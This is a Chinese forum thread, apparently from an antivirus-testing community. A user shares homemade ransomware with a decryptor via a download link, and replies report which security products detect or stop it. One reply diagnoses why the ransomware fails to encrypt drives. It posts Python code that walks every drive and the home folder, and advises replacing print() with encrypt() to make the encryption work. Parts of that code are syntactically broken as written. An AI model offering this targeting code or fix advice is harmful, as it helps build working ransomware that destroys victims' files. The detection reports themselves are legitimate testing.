自制加密勒索（附解密器）

AEht

https://wwwc.lanzoub.com/i50Pt0s7bf1i压缩包密码infected，非win10x64运行可能会报错。


加密的很玄学，不知道怎么解决。


infected是病毒，save是解密器。


实测卡巴，eset扫描没反应，小a扫描Win64:Trojan-gen。
运行直到结束卡巴不报，但似乎加密的文件比裸奔时少？
过一会就会报PDM，杀本体但是没有回滚，一些文档还是被加密了。
eset全程静默。
其他杀软就交给卡饭网友了
放进微步扫了一下，安全，就小a报了

我爱你啊啊啊

小a还可以的说

秋日之殇

加密后文件扩展是啥？卡巴直接pdm杀了，桌面上的文件没有被加密的

117054487

我就不一样了，虚拟机只有c盘，d盘是dvd，这玩应不加密c盘，一直尝试加密d盘的dvd驱动器，然后报错一个都没成功，我把dvd退出了，软件打开生成个密钥就自退了（不说win11是win10换壳）

改了下分区 双击就pdm 桌面就加密三个图片，都回滚了

761773275

BEST 桌面被加密，然后ATC



EMSISOFT KILL

117054487

打包送走  忘记说了 360忘开核晶了

post88

SEP INSIGHT KILLED

心醉咖啡

毒霸

hhhq316

Norton解压杀

chx818

F-Secure Total&SMADAV扫描miss，双击被SAMDAV拦截

从这点上看F-Secure真就是铁five一个，我把SMADAV的实时防护关了，结果病毒都在找我要管理员权限了FS都没动静，就离谱

dght432

无文件被加密

菜鸟七号

为什么不能下载呢？

wdyaoyao

智量病毒库很久没更新了 居然能扫出来 真的厉害 它对付勒索病毒确实优秀

喀反

WD解压：Trojan:Win32/Wacatac.H!ml

GreatMOLA

Norton
执行 DP杀，无文件被加密。

UNknownOoo

HMPA

双击：寄

zn806

卡巴斯基解压杀，关闭卡巴斯基双击运行测试，瑞星之剑立马就有反应……双重保险果然还是不错的

huangzihang

761773275 发表于 2023-4-6 01:19
BEST 桌面被加密，然后ATC

沙盒分析器检测到未知威胁. 文件已被隔离。D:\Downloads\Compressed\test\infected.exe

python无名氏

还是有bug，说一下我的推测：win32api(或你准备的)驱动器后边没加/，所以无法加密
建议先写一个历遍，看看文件名正不正确，在替换"print(xxx)"为"encrypt(xxx)"
分享下kf的历遍
哈？竟然没法反编译

1. import os
   
2. import win32api
   
3. def getfiles(path):
   
4.     try:
   
5.         for file in os.listdir(path):
   
6.             try:
   
7.                 if os.path.isfile(path+'/'+file):
   
8.                     print(path+'/'+file)
   
9.                 else:
   
10.                     getfiles(path+'/'+file)
    
11.             except:
    
12.                 pass
    
13.     except:
    
14.         pass
    
15. driver = win32api.GetLogicalDriveStrings()
    
16. driver = driver.split('\x00')[:-1]
    
17. drives = []
    
18. for oned in driver:
    
19.     if oned == os.getenv("SystemDrive")+'\\':
    
20.         drives.append(os.path.expanduser("~").replace("\","/"))
    
21.         continue
    
22.     else:
    
23.         drives.append(oned.replace("\",""))
    
24. for drive in drives:
    
25.     getfiles(drive)

复制代码

761773275

huangzihang 发表于 2023-4-6 18:08
沙盒分析器检测到未知威胁. 文件已被隔离。D:\Downloads\Compressed\test\infected.exe

？有什么用